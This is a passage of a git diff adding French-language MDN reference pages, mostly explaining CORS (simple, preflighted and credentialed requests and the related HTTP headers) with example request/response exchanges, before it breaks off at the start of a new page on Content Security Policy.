:</p> + +<p><img alt="" src="https://mdn.mozillademos.org/files/14293/simple_req.png" style="height: 224px; width: 521px;"></p> + +<p>Voyons dans le détail ce que le navigateur envoie au serveur et quelle sera sa réponse :</p> + +<pre class="brush: shell;highlight:[10,16]">GET /resources/public-data/ HTTP/1.1 +Host: truc.autre +User-Agent: Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10.5; en-US; rv:1.9.1b3pre) Gecko/20081130 Minefield/3.1b3pre +Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 +Accept-Language: en-us,en;q=0.5 +Accept-Encoding: gzip,deflate +Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7 +Connection: keep-alive +Referer: http://toto.example/exemples/access-control/simpleXSInvocation.html +Origin: http://toto.example + + +HTTP/1.1 200 OK +Date: Mon, 01 Dec 2008 00:23:53 GMT +Server: Apache/2.0.61 +Access-Control-Allow-Origin: * +Keep-Alive: timeout=2, max=100 +Connection: Keep-Alive +Transfer-Encoding: chunked +Content-Type: application/xml + +[XML Data] +</pre> + +<p>Les lignes 1 à 10 correspondent aux en-têtes envoyés. L'en-tête qui nous intéresse particulièrement ici est {{HTTPHeader("Origin")}}, situé à la ligne 10 : on y voit que l'invocation provient du domaine <code class="plain">http://toto.example</code>.</p> + +<p>Les lignes 13 à 22 détaillent la réponse HTTP du serveur situé sous le domaine <code class="plain">http://truc.autre</code>. Dans la réponse, le serveur renvoie un en-tête {{HTTPHeader("Access-Control-Allow-Origin")}} (visible à la ligne 16). On voit ici les en-têtes {{HTTPHeader("Origin")}} et {{HTTPHeader("Access-Control-Allow-Origin")}} pour un contrôle d'accès dans sa forme la plus simple. Ici, le serveur répond avec <code>Access-Control-Allow-Origin: *</code> ce qui signifie que la ressource peut être demandée par n'importe quel domaine. Si les propriétés de la ressource située sous <code class="plain">http://truc.autre</code> souhaitaient restreindre l'accès à la ressource à l'origine <code class="plain">http://toto.example</code>, ils auraient renvoyé :</p> + +<p><code class="plain">Access-Control-Allow-Origin: http://toto.example</code></p> + +<p>On notera que, dans ce cas, aucun autre domaine que <code class="plain">http://toto.example</code> (tel qu'identifié par l'en-tête <code>Origin</code>) ne pourra accéder à la ressource. L'en-tête <code>Access-Control-Allow-Origin</code> devrait contenir la valeur qui a été envoyée dans l'en-tête <code>Origin</code> de la requête.</p> + +<h3 id="Requêtes_nécessitant_une_requête_préliminaire"><a id="preflight" name="preflight">Requêtes nécessitant une requête préliminaire</a></h3> + +<p>À la différence des <a href="#simples">requêtes simples</a>, les requêtes préliminaires envoient d'abord une requête HTTP avec la méthode {{HTTPMethod("OPTIONS")}} vers la ressource de l'autre domaine afin de déterminer quelle requête peut être envoyée de façon sécurisée. Les requêtes entre différents sites peuvent notamment utiliser ce mécanisme de vérification préliminaire lorsque des données utilisateurs sont impliquées.</p> + +<p>Une requête devra être précédée d'une requête préliminaire si <strong>une</strong> des conditions suivantes est respectée :</p> + +<ul> + <li>La requête utilise une des méthodes suivantes : + <ul> + <li>{{HTTPMethod("PUT")}}</li> + <li>{{HTTPMethod("DELETE")}}</li> + <li>{{HTTPMethod("CONNECT")}}</li> + <li>{{HTTPMethod("OPTIONS")}}</li> + <li>{{HTTPMethod("TRACE")}}</li> + <li>{{HTTPMethod("PATCH")}}</li> + </ul> + </li> + <li><strong>Ou si</strong>, en dehors des en-têtes automatiquement paramétrés par l'agent utilisateur (comme {{HTTPHeader("Connection")}}, {{HTTPHeader("User-Agent")}} ou <a href="https://fetch.spec.whatwg.org/#forbidden-header-name">tout autre en-tête dont le nom est réservé dans la spécification</a>), la requête inclut <a href="https://fetch.spec.whatwg.org/#cors-safelisted-request-header">tout autre en-tête que ceux définis sur la liste blanche</a> : + <ul> + <li>{{HTTPHeader("Accept")}}</li> + <li>{{HTTPHeader("Accept-Language")}}</li> + <li>{{HTTPHeader("Content-Language")}}</li> + <li>{{HTTPHeader("Content-Type")}} (cf. les contraintes supplémentaires ci-après)</li> + <li>{{HTTPHeader("Last-Event-ID")}}</li> + <li><code><a href="http://httpwg.org/http-extensions/client-hints.html#dpr">DPR</a></code></li> + <li><code><a href="http://httpwg.org/http-extensions/client-hints.html#save-data">Save-Data</a></code></li> + <li><code><a href="http://httpwg.org/http-extensions/client-hints.html#viewport-width">Viewport-Width</a></code></li> + <li><code><a href="http://httpwg.org/http-extensions/client-hints.html#width">Width</a></code></li> + </ul> + </li> + <li><strong>Ou si</strong> l'en-tête {{HTTPHeader("Content-Type")}} possède une valeur autre que : + <ul> + <li><code>application/x-www-form-urlencoded</code></li> + <li><code>multipart/form-data</code></li> + <li><code>text/plain</code></li> + </ul> + </li> + <li><strong>Ou si</strong> un ou plusieurs gestionnaires d'évènements sont enregistrés sur l'objet {{domxref("XMLHttpRequestUpload")}} utilisé dans la requête.</li> + <li><strong>Ou si</strong> un objet {{domxref("ReadableStream")}} est utilisé dans la requête.</li> +</ul> + +<div class="note"><strong>Note :</strong> WebKit Nightly et Safari Technology Preview ajoutent des restrictions supplémentaires pour les valeurs autorisées des en-têtes {{HTTPHeader("Accept")}}, {{HTTPHeader("Accept-Language")}} et {{HTTPHeader("Content-Language")}}. Si l'un de ces en-têtes a une valeur non-standard, WebKit/Safari considère que la requête ne correspond pas à une requête simple. Les valeurs considérées comme non-standard par WebKit/Safari ne sont pas documentées en dehors de ces bugs WebKit : <em><a href="https://bugs.webkit.org/show_bug.cgi?id=165178" rel="nofollow noreferrer">Require preflight for non-standard CORS-safelisted request headers Accept, Accept-Language, and Content-Language</a></em>, <em><a href="https://bugs.webkit.org/show_bug.cgi?id=165566" rel="nofollow noreferrer">Allow commas in Accept, Accept-Language, and Content-Language request headers for simple CORS</a></em> et <em><a href="https://bugs.webkit.org/show_bug.cgi?id=166363" rel="nofollow noreferrer">Switch to a blacklist model for restricted Accept headers in simple CORS requests</a></em>. Aucun autre navigateur n'implémente ces restrictions supplémentaires, car elles ne font pas partie de la spécification.</div> + +<p>Voici un exemple d'une requête qui devra être précédée d'une requête préliminaire :</p> + +<pre class="brush: js" id="line1">var invocation = new XMLHttpRequest(); +var url = 'http://truc.autre/resources/post-here/'; +var body = '<?xml version="1.0"?><personne><nom>Toto</nom></personne>'; + +function callOtherDomain(){ + if(invocation) + { + invocation.open('POST', url, true); + invocation.setRequestHeader('X-PINGOTHER', 'pingpong'); + invocation.setRequestHeader('Content-Type', 'application/xml'); + invocation.onreadystatechange = handler; + invocation.send(body); + } +} + +...... +</pre> + +<p>Dans le fragment de code ci-avant, à la ligne 3, on crée un corps XML envoyé avec la requête <code>POST</code> ligne 8. Sur la ligne 9, on voit également un en-tête de requête HTTP non standard : <code>X-PINGOTHER: pingpong</code>. De tels en-têtes ne sont pas décrits par le protocole HTTP/1.1 mais peuvent être utilisés par les applications web. La requête utilisant un en-tête <code>Content-Type</code> qui vaut <code>application/xml</code> et un en-tête spécifique, il est nécessaire d'envoyer au préalable une requête préliminaire.</p> + +<p><img alt="pre-flight CORS french" src="https://mdn.mozillademos.org/files/17065/preflight_correct.png" style="height: 553px; width: 521px;"></p> + +<div class="note"> +<p><strong>Note :</strong> Comme décrit après, la vraie requête POST n'inclut pas les en-têtes <code>Access-Control-Request-*</code> qui sont uniquement nécessaires pour la requête OPTIONS.</p> +</div> + +<p>Voyons ce qui se passe entre le client et le serveur. Le premier échange est la requête/réponse préliminaire :</p> + +<pre class="brush: none;highlight:[1,10,11,17-20]">OPTIONS /resources/post-here/ HTTP/1.1 +Host: truc.autre +User-Agent: Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10.5; en-US; rv:1.9.1b3pre) Gecko/20081130 Minefield/3.1b3pre +Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 +Accept-Language: en-us,en;q=0.5 +Accept-Encoding: gzip,deflate +Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7 +Connection: keep-alive +Origin: http://toto.example +Access-Control-Request-Method: POST +Access-Control-Request-Headers: X-PINGOTHER, Content-Type + + +HTTP/1.1 200 OK +Date: Mon, 01 Dec 2008 01:15:39 GMT +Server: Apache/2.0.61 (Unix) +Access-Control-Allow-Origin: http://toto.example +Access-Control-Allow-Methods: POST, GET +Access-Control-Allow-Headers: X-PINGOTHER, Content-Type +Access-Control-Max-Age: 86400 +Vary: Accept-Encoding, Origin +Content-Encoding: gzip +Content-Length: 0 +Keep-Alive: timeout=2, max=100 +Connection: Keep-Alive +Content-Type: text/plain +</pre> + +<p>Une fois que la requête préliminaire est effectuée, la requête principale est envoyée :</p> + +<pre class="brush: none;">POST /resources/post-here/ HTTP/1.1 +Host: truc.autre +User-Agent: Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10.5; en-US; rv:1.9.1b3pre) Gecko/20081130 Minefield/3.1b3pre +Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 +Accept-Language: en-us,en;q=0.5 +Accept-Encoding: gzip,deflate +Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7 +Connection: keep-alive +X-PINGOTHER: pingpong +Content-Type: text/xml; charset=UTF-8 +Referer: http://toto.example/exemples/preflightInvocation.html +Content-Length: 55 +Origin: http://toto.example +Pragma: no-cache +Cache-Control: no-cache + +<?xml version="1.0"?><personne><nom>Toto</nom></personne> + + +HTTP/1.1 200 OK +Date: Mon, 01 Dec 2008 01:15:40 GMT +Server: Apache/2.0.61 (Unix) +Access-Control-Allow-Origin: http://toto.example +Vary: Accept-Encoding, Origin +Content-Encoding: gzip +Content-Length: 235 +Keep-Alive: timeout=2, max=99 +Connection: Keep-Alive +Content-Type: text/plain + +[Une charge utile GZIPée] +</pre> + +<p>Entre les lignes 1 à 12 qui précèdent, on voit la requête préliminaire avec la méthode {{HTTPMethod("OPTIONS")}}. Le navigateur détermine qu'il est nécessaire d'envoyer cela à cause des paramètres de la requête fournie par le code JavaScript. De cette façon le serveur peut répondre si la requête principale est acceptable et avec quels paramètres. OPTIONS est une méthode HTTP/1.1 qui est utilisée afin de déterminer de plus amples informations à propos du serveur. La méthode OPTIONS est une méthode « sûre » (<em>safe</em>) et ne change aucune ressource. On notera, qu'avec la requête OPTIONS, deux autres en-têtes sont envoyés (cf. lignes 10 et 11) :</p> + +<pre class="brush: none">Access-Control-Request-Method: POST +Access-Control-Request-Headers: X-PINGOTHER, Content-Type +</pre> + +<p>L'en-tête {{HTTPHeader("Access-Control-Request-Method")}} indique au serveur, pendant la requête préliminaire, que la requête principale sera envoyée avec la méthode <code>POST</code>. L'en-tête {{HTTPHeader("Access-Control-Request-Headers")}} indique au serveur que la requête principale sera envoyée avec un en-tête <code>X-PINGOTHER</code> et un en-tête <code>Content-Type</code> spécifique. Le serveur peut alors déterminer s'il souhaite accepter une telle requête.</p> + +<p>Dans les lignes 14 à 26 qui suivent, on voit la réponse renvoyée par le serveur qui indique que la méthode de la requête (<code>POST</code>) ainsi que ses en-têtes (<code>X-PINGOTHER</code>) sont acceptables. Voici ce qu'on peut notamment lire entre les lignes 17 et 20 :</p> + +<pre class="brush: none">Access-Control-Allow-Origin: http://toto.example +Access-Control-Allow-Methods: POST, GET +Access-Control-Allow-Headers: X-PINGOTHER, Content-Type +Access-Control-Max-Age: 86400</pre> + +<p>Le serveur répond avec un en-tête <code>Access-Control-Allow-Methods</code> et indique que les méthodes <code>POST</code> et <code>GET</code> sont acceptables pour manipuler la ressource visée. On notera que cet en-tête est semblable à l'en-tête de réponse {{HTTPHeader("Allow")}}, toutefois, <code>Access-Control-Allow-Methods</code> est uniquement utilisé dans le cadre du contrôle d'accès.</p> + +<p>Le serveur envoie également l'en-tête <code>Access-Control-Allow-Headers</code> avec une valeur "<code>X-PINGOTHER, Content-Type</code>" qui confirme que les en-têtes souhaités sont autorisés pour la requête principale. Comme <code>Access-Control-Allow-Methods</code>, <code>Access-Control-Allow-Headers</code> est une liste d'en-têtes acceptables séparés par des virgules.</p> + +<p>Enfin, l'en-tête {{HTTPHeader("Access-Control-Max-Age")}} indique avec une valeur exprimée en secondes, la durée pendant laquelle cette réponse préliminaire peut être mise en cache avant la prochaine requête préliminaire. Ici, la réponse est 86400 secondes, ce qui correspond à 24 heures. On notera ici que chaque navigateur possède<a href="/fr/docs/Web/HTTP/Headers/Access-Control-Max-Age"> un maximum interne</a> qui a la priorité lorsque <code>Access-Control-Max-Age</code> lui est supérieur.</p> + +<h4 id="Requêtes_préliminaires_et_redirection">Requêtes préliminaires et redirection</h4> + +<p>À l'heure actuelle, la plupart des navigateurs ne prennent pas en charge les redirections pour les requêtes préliminaires. Si une redirection se produit pour une requête préliminaire, la plupart des navigateurs émettront un message d'erreur semblables à ceux-ci.</p> + +<blockquote> +<p>La requête a été redirigée vers 'https://example.com/toto', ce qui n'est pas autorisé pour les requêtes multi-origines qui doivent être précédées d'une requête préliminaire. (<em>The request was redirected to 'https://example.com/toto', which is disallowed for cross-origin requests that require preflight.</em>)</p> +</blockquote> + +<blockquote> +<p>Il est nécessaire d'effectuer une requête préliminaire pour cette requête, or, ceci n'est pas autorisé pour suivre les redirections multi-origines. (<em>Request requires preflight, which is disallowed to follow cross-origin redirect.</em>)</p> +</blockquote> + +<p>Le protocole CORS demandait initialement ce comportement. Toutefois, <a href="https://github.com/whatwg/fetch/commit/0d9a4db8bc02251cc9e391543bb3c1322fb882f2">il a été modifié et ces erreurs ne sont plus nécessaires</a>. Toutefois, la plupart des navigateurs n'ont pas encore implémenté cette modification et conservent alors le comportement conçu initialement.</p> + +<p>En attendant que les navigateurs comblent ce manque, il est possible de contourner cette limitation en utilisant l'une de ces deux méthodes :</p> + +<ul> + <li>Modifier le comportement côté serveur afin d'éviter la requête préliminaire ou la redirection (dans le cas où vous contrôler le serveur sur lequel la requête est effectuée)</li> + <li>Modifier la requête afin que ce soit une <a href="#simples">requête simple</a> qui ne nécessite pas de requête préliminaire.</li> +</ul> + +<p>S'il n'est pas possible d'appliquer ces changements, on peut également :</p> + +<ol> + <li>Effectuer <a href="#simples">une requête simple</a> (avec <code><a href="/fr/docs/Web/API/Response/url">Response.url</a></code> si on utilise l'API Fetch ou <code><a href="/fr/docs/Web/API/XMLHttpRequest/responseURL">XHR.responseURL</a></code> si on utilise XHR) afin de déterminer l'URL à laquelle aboutirait la requête avec requête préliminaire.</li> + <li>Effectuer la requête initialement souhaitée avec l'URL <em>réelle</em> obtenue à la première étape.</li> +</ol> + +<p>Toutefois, si la requête déclenche une requête préliminaire suite à l'absence de l'en-tête {{HTTPHeader("Authorization")}}, on ne pourra pas utiliser cette méthode de contournement et il sera nécessaire d'avoir accès au serveur pour contourner le problème.</p> + +<h3 id="Requêtes_avec_informations_dauthentification"><a id="credentials" name="credentials">Requêtes avec informations d'authentification</a></h3> + +<p>Une des fonctionnalités intéressante mise en avant par le CORS (via {{domxref("XMLHttpRequest")}} ou <a href="/fr/docs/Web/API/Fetch_API">Fetch</a>) est la possibilité d'effectuer des requêtes authentifiées reconnaissant les <a href="/fr/docs/Web/HTTP/Cookies">cookies HTTP</a> et les informations d'authentification HTTP. Par défaut, lorsqu'on réalise des appels {{domxref("XMLHttpRequest")}} ou <a href="/fr/docs/Web/API/Fetch_API">Fetch</a> entre différents sites, les navigateurs n'enverront pas les informations d'authentification. Pour cela, il est nécessaire d'utiliser une option spécifique avec le constructeur {{domxref("XMLHttpRequest")}} ou {{domxref("Request")}} lorsqu'on l'appelle.</p> + +<p>Dans cet exemple, le contenu chargé depuis <code class="plain">http://toto.example</code> effectue une requête GET simple vers une ressource située sous <code class="plain">http://truc.autre</code> qui définit des <em>cookies</em>. Voici un exemple de code JavaScript qui pourrait se trouver sur <code>toto.example</code> :</p> + +<pre class="brush: js" id="line1">var invocation = new XMLHttpRequest(); +var url = 'http://truc.autre/resources/credentialed-content/'; + +function callOtherDomain(){ + if(invocation) { + invocation.open('GET', url, true); + invocation.withCredentials = true; + invocation.onreadystatechange = handler; + invocation.send(); + } +}</pre> + +<p>À la ligne 7, on voit que l'option <code>withCredentials</code>, du constructeur {{domxref("XMLHttpRequest")}}, doit être activée pour que l'appel utilise les <em>cookies</em>. Par défaut, l'appel sera réalisé sans les <em>cookies</em>. Cette requête étant une simple requête <code>GET</code>, il n'est pas nécessaire d'avoir une requête préliminaire. Cependant, le navigateur rejettera tout réponse qui ne possède pas l'en-tête {{HTTPHeader("Access-Control-Allow-Credentials")}}<code>: true</code> et la réponse correspondante ne sera pas disponible pour le contenu web qui l'a demandée.</p> + +<p><img alt="" src="https://mdn.mozillademos.org/files/14291/cred-req.png" style="height: 223px; width: 521px;"></p> + +<p>Voici un exemple d'échange entre le client et le serveur :</p> + +<pre class="brush: none">GET /resources/access-control-with-credentials/ HTTP/1.1 +Host: truc.autre +User-Agent: Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10.5; en-US; rv:1.9.1b3pre) Gecko/20081130 Minefield/3.1b3pre +Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 +Accept-Language: en-us,en;q=0.5 +Accept-Encoding: gzip,deflate +Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7 +Connection: keep-alive +Referer: http://toto.example/exemples/credential.html +Origin: http://toto.example +Cookie: pageAccess=2 + + +HTTP/1.1 200 OK +Date: Mon, 01 Dec 2008 01:34:52 GMT +Server: Apache/2.0.61 (Unix) PHP/4.4.7 mod_ssl/2.0.61 OpenSSL/0.9.7e mod_fastcgi/2.4.2 DAV/2 SVN/1.4.2 +X-Powered-By: PHP/5.2.6 +Access-Control-Allow-Origin: http://toto.example +Access-Control-Allow-Credentials: true +Cache-Control: no-cache +Pragma: no-cache +Set-Cookie: pageAccess=3; expires=Wed, 31-Dec-2008 01:34:53 GMT +Vary: Accept-Encoding, Origin +Content-Encoding: gzip +Content-Length: 106 +Keep-Alive: timeout=2, max=100 +Connection: Keep-Alive +Content-Type: text/plain + + +[text/plain payload] +</pre> + +<p>Bien que la ligne 11 contienne le <em>cookie</em> pour le contenu sous <code class="plain">http://truc.autre</code>, si <code>truc.autre</code> n'avait pas répondu avec {{HTTPHeader("Access-Control-Allow-Credentials")}}<code>: true</code> (cf. ligne 19), la réponse aurait été ignorée et n'aurait pas pu être consommée par le contenu web.</p> + +<h4 id="Requêtes_authentifiées_et_jokers_wildcards">Requêtes authentifiées et jokers (<em>wildcards</em>)</h4> + +<p>Lorsqu'il répond à une requête authentifiée, le serveur <strong>doit</strong> indiquer une origine via la valeur de l'en-tête <code>Access-Control-Allow-Origin</code>, il ne doit pas utiliser le joker "<code>*</code>".</p> + +<p>Avec la requête précédente, on voit la présence d'un en-tête <code>Cookie</code> mais la requête échouerait si la valeur de l'en-tête de réponse <code>Access-Control-Allow-Origin</code> était "<code>*</code>". Ici, ce n'est pas le cas : <code>Access-Control-Allow-Origin</code> vaut "<code class="plain">http://toto.example</code>" et le contenu récupéré par la requête est alors envoyé au contenu web.</p> + +<p>Dans cet exemple, on notera également que l'en-tête de réponse <code>Set-Cookie</code> définit un autre <em>cookie</em>. En cas d'échec, une exception (dépendant de l'API utilisée) sera levée.</p> + +<h4 id="Cookies_tiers"><em>Cookies</em> tiers</h4> + +<p>On notera que les <em>cookies</em> provenant de réponses CORS sont également sujets aux règles qui s'appliquent aux <em>cookies</em> tiers. Dans l'exemple précédent, la page est chargée depuis <code>toto.example</code> et, à la ligne 22, le <em>cookie</em> est envoyé par <code>truc.autre</code>. Aussi, ce <em>cookie</em> n'aurait pas été enregistré si l'utilisateur avait paramétré son navigateur pour rejeter les <em>cookies</em> tiers.</p> + +<h2 id="En-têtes_de_réponse_HTTP">En-têtes de réponse HTTP</h2> + +<p>Dans cette section, on liste les en-têtes de réponse HTTP qui sont renvoyés par le serveur pour le contrôle d'accès, tels que définis par la spécification <em>Cross-Origin Resource Sharing</em>. La section précédente illustre, avec des exemples concrets, leur fonctionnement.</p> + +<h3 id="Access-Control-Allow-Origin"><code>Access-Control-Allow-Origin</code></h3> + +<p>Une ressource de réponse peut avoir un en-tête {{HTTPHeader("Access-Control-Allow-Origin")}} avec la syntaxe suivante :</p> + +<pre class="brush: none">Access-Control-Allow-Origin: <origin> | * +</pre> + +<p>Le paramètre <code>origin</code> définit un URI qui peut accéder à la ressource. Le navigateur doit respecter cette contrainte. Pour les requêtes qui n'impliquent pas d'informations d'authentification, le serveur pourra indiquer un joker ("<code>*</code>") qui permet à n'importe quelle origine d'accéder à la ressource.</p> + +<p>Si on souhaite, par exemple, autoriser <code>http://mozilla.org</code> à accéder à la ressource, on pourra répondre avec :</p> + +<pre class="brush: none">Access-Control-Allow-Origin: http://mozilla.org</pre> + +<p>Si le serveur indique une origine spécifique plutôt que "<code>*</code>", il pourra également inclure la valeur <code>Origin</code> dans l'en-tête de réponse {{HTTPHeader("Vary")}} pour indiquer au client que la réponse du serveur variera selon la valeur de l'en-tête de requête {{HTTPHeader("Origin")}}.</p> + +<h3 id="Access-Control-Expose-Headers"><code>Access-Control-Expose-Headers</code></h3> + +<p>L'en-tête {{HTTPHeader("Access-Control-Expose-Headers")}} fournit une liste blanche des en-têtes auxquels les navigateurs peuvent accéder. Ainsi :</p> + +<pre class="brush: none">Access-Control-Expose-Headers: X-Mon-En-tete-Specifique, X-Un-Autre-En-tete +</pre> + +<p>Cela permettra que les en-têtes <code>X-Mon-En-tete-Specifique</code> et <code>X-Un-Autre-En-tete</code> soient utilisés par le navigateur.</p> + +<h3 id="Access-Control-Max-Age"><code>Access-Control-Max-Age</code></h3> + +<p>L'en-tête {{HTTPHeader("Access-Control-Max-Age")}} indique la durée pendant laquelle le résultat de la requête préliminaire peut être mis en cache (voir les exemples ci-avant pour des requêtes impliquant des requêtes préliminaires).</p> + +<pre class="brush: none">Access-Control-Max-Age: <delta-en-secondes> +</pre> + +<p>Le paramètre <code>delta-en-seconds</code> indique le nombre de secondes pendant lesquelles les résultats peuvent être mis en cache.</p> + +<h3 id="Access-Control-Allow-Credentials"><code>Access-Control-Allow-Credentials</code></h3> + +<p>L'en-tête {{HTTPHeader("Access-Control-Allow-Credentials")}} indique si la réponse à la requête doit être exposée lorsque l'option <code>credentials</code> vaut <code>true</code>. Lorsque cet en-tête est utilisé dans une réponse préliminaire, cela indique si la requête principale peut ou non être effectuée avec des informations d'authentification. On notera que les requêtes <code>GET</code> sont des requêtes simples et si une requête est effectuée, avec des informations d'authentification pour une ressource, et que cet en-tête n'est pas renvoyé, la réponse sera ignorée par le navigateur et sa charge ne pourra pas être consommée par le contenu web.</p> + +<pre class="brush: none">Access-Control-Allow-Credentials: true +</pre> + +<p><a class="internal" href="#credentials">Voir les scénarios ci-avant pour des exemples</a>.</p> + +<h3 id="Access-Control-Allow-Methods"><code>Access-Control-Allow-Methods</code></h3> + +<p>L'en-tête {{HTTPHeader("Access-Control-Allow-Methods")}} indique la ou les méthodes qui sont autorisées pour accéder à la ressoure. Cet en-tête est utilisé dans la réponse à la requête préliminaire (voir ci-avant <a href="#preflight">les conditions dans lesquelles une requête préliminaire est nécessaire</a>).</p> + +<pre class="brush: none">Access-Control-Allow-Methods: <methode>[, <methode>]* +</pre> + +<p><a href="#preflight">Voir un exemple ci-avant pour l'utilisation de cet en-tête</a>.</p> + +<h3 id="Access-Control-Allow-Headers"><code>Access-Control-Allow-Headers</code></h3> + +<p>L'en-tête {{HTTPHeader("Access-Control-Allow-Headers")}} est utilisé dans une réponse à une requête préliminaire afin d'indiquer les en-têtes HTTP qui peuvent être utilisés lorsque la requête principale est envoyée.</p> + +<pre class="brush: none">Access-Control-Allow-Headers: <nom-champ>[, <nom-champ>]* +</pre> + +<h2 id="En-têtes_de_requête_HTTP">En-têtes de requête HTTP</h2> + +<p>Dans cette section, nous allons décrire les en-têtes que les clients peuvent utiliser lors de l'envoi de requêtes HTTP afin d'exploiter les fonctionnalités du CORS. Ces en-têtes sont souvent automatiquement renseignés lors d'appels aux serveurs. Les développeurs qui utilisent {{domxref("XMLHttpRequest")}} pour les requêtes multi-origines n'ont pas besoin de paramétrer ces en-têtes dans le code JavaScript.</p> + +<h3 id="Origin"><code>Origin</code></h3> + +<p>L'en-tête {{HTTPHeader("Origin")}} indique l'origine de la requête (principale ou préliminaire) pour l'accès multi-origine.</p> + +<pre class="brush: none">Origin: <origine> +</pre> + +<p>L'origine est un URI qui indique le serveur à partir duquel la requête a été initiée. Elle n'inclut aucune information relative au chemin mais contient uniquement le nom du serveur.</p> + +<div class="note"><strong>Note :</strong> <code>origine</code> peut être une chaîne vide (ce qui s'avère notamment utile lorsque la source est une URL de donnée).</div> + +<p>Pour chaque requête avec contrôle d'accès, l'en-tête {{HTTPHeader("Origin")}} sera <strong>toujours</strong> envoyé.</p> + +<h3 id="Access-Control-Request-Method"><code>Access-Control-Request-Method</code></h3> + +<p>L'en-tête {{HTTPHeader("Access-Control-Request-Method")}} est utilisé lorsqu'on émet une requête préliminaire afin de savoir quelle méthode HTTP pourra être utilisée avec la requête principale.</p> + +<pre class="brush: none">Access-Control-Request-Method: <methode> +</pre> + +<p>Voir <a href="#preflight">ci-avant pour des exemples d'utilisation de cet en-tête</a>.</p> + +<h3 id="Access-Control-Request-Headers"><code>Access-Control-Request-Headers</code></h3> + +<p>L'en-tête {{HTTPHeader("Access-Control-Request-Headers")}} est utilisé lorsqu'on émet une requête préliminaire afin de communiquer au serveur les en-têtes HTTP qui seront utilisés avec la requête principale.</p> + +<pre class="brush: none">Access-Control-Request-Headers: <nom-champ>[, <nom-champ>]* +</pre> + +<p>Voir <a href="#preflight">ci-avant pour des exemples d'utilisation de cet en-tête</a>.</p> + +<h2 id="Spécifications">Spécifications</h2> + +<table class="standard-table"> + <tbody> + <tr> + <th scope="col">Spécification</th> + <th scope="col">État</th> + <th scope="col">Commentaires</th> + </tr> + <tr> + <td>{{SpecName('Fetch', '#cors-protocol', 'CORS')}}</td> + <td>{{Spec2('Fetch')}}</td> + <td>Nouvelle définition, remplace la spécification <a href="https://www.w3.org/TR/cors/">W3C pour le CORS</a>.</td> + </tr> + </tbody> +</table> + +<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2> + +<div class="hidden">Le tableau de compatibilité de cette page a été généré à partir de données structurées. Si vous souhaitez contribuer à ces données, n'hésitez pas à consulter <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> et à nous envoyer une <em>pull request</em>.</div> + +<p>{{Compat("http.headers.Access-Control-Allow-Origin")}}</p> + +<h3 id="Notes_de_compatibilité">Notes de compatibilité</h3> + +<ul> + <li>Internet Explorer 8 et 9 exposent les fonctionnalités relatives au CORS via l'objet <code>XDomainRequest</code>. L'implémentation complète est disponible à partir d'IE 10.</li> + <li>Bien que Firefox 3.5 ait introduit la prise en charge des requêtes <code>XMLHttpRequest</code> entre différents sites et des polices web, certaines requêtes étaient limitées jusqu'à des versions ultérieures. Plus précisément, Firefox 7 permet les requêtes multi-origines pour les textures WebGL et Firefox 9 permet la récupération d'images dessinées sur un canevas via <code>drawImage</code>.</li> +</ul> + +<h2 id="Voir_aussi">Voir aussi</h2> + +<ul> + <li><a class="external" href="https://arunranga.com/examples/access-control/">Exemples de codes utilisant <code>XMLHttpRequest</code> et le CORS (en anglais)</a></li> + <li><a href="https://github.com/jackblackevo/cors-jsonp-sample">Exemples de code côté client et côté serveur utilisant le CORS (en anglais)</a></li> + <li><a class="internal" href="/fr/docs/Web/HTTP/Server-Side_Access_Control">Le CORS vu côté serveur (PHP, etc.)</a></li> + <li>{{domxref("XMLHttpRequest")}}</li> + <li><a href="/fr/docs/Web/API/Fetch_API">L'API Fetch</a></li> + <li><a href="https://www.html5rocks.com/en/tutorials/cors/">Utiliser le CORS - HTML5 Rocks (en anglais)</a></li> + <li><a href="https://stackoverflow.com/questions/43871637/no-access-control-allow-origin-header-is-present-on-the-requested-resource-whe/43881141#43881141">Une réponse Stack Overflow pour répondre aux problèmes fréquemment posés par le CORS (en anglais)</a> : + <ul> + <li>Comment éviter les requêtes préliminaires</li> + <li>Comment utiliser un proxy CORS pour contourner <em>No Access-Control-Allow-Origin header</em></li> + <li>Comment corriger <em>Access-Control-Allow-Origin header must not be the wildcard</em></li> + </ul> + </li> +</ul> + +<div id="mouseposition-extension-element-full-container" style="position: fixed; top: 0px; left: 0px; right: 0px; font-weight: 400;"> +<div id="mouseposition-extension-element-rect-display" style='display: none; position: absolute; background: rgba(255, 255, 255, 0.7); outline: black solid 1px; font-size: 12px; cursor: default; color: rgb(0, 0, 0); font-family: "Helvetica Neue", Helvetica, Arial, sans-serif; width: 0px; height: 0px;'> +<pre style="text-align: center; background-color: rgba(255, 255, 255, 0.7); color: rgb(0, 0, 0); min-height: 12px; transition: all 1s ease 0s;"></pre> +</div> + +<pre id="mouseposition-extension-element-coordinate-display" style='position: absolute; display: none; background: rgb(255, 255, 255); font-size: 12px; line-height: 14px; border-radius: 3px; border-width: 1px; border-color: rgb(34, 34, 34) black rgb(51, 51, 51); border-style: solid; padding: 3px; color: rgb(34, 34, 34); cursor: default; font-family: "Helvetica Neue", Helvetica, Arial, sans-serif;'></pre> +</div> diff --git a/files/fr/web/http/csp/index.html b/files/fr/web/http/csp/index.html new file mode 100644 index 0000000000..ca00863e9c --- /dev/null +++ b/files/fr/web/http/csp/index.html @@ -0,0 +1,188 @@ +--- +title: Content Security Policy (CSP) +slug: Web/HTTP/CSP +tags: + - CSP + - Content Security Policy + - Reference + - Security +translation_of: Web/HTTP/CSP +--- +<div>{{HTTPSidebar}}</div> + +<p class="summary"><strong>Une <em>Content Security Policy ({{Glossary("CSP")}})</em> ou stratégie de sécurité du contenu</strong> permet d'améliorer la sécurité des sites web en permettant de détecter et réduire certains types d'attaques, dont les attaques {{Glossary("XSS")}} (<em>Cross Site Scripting</em>) et les injections de contenu. Ces 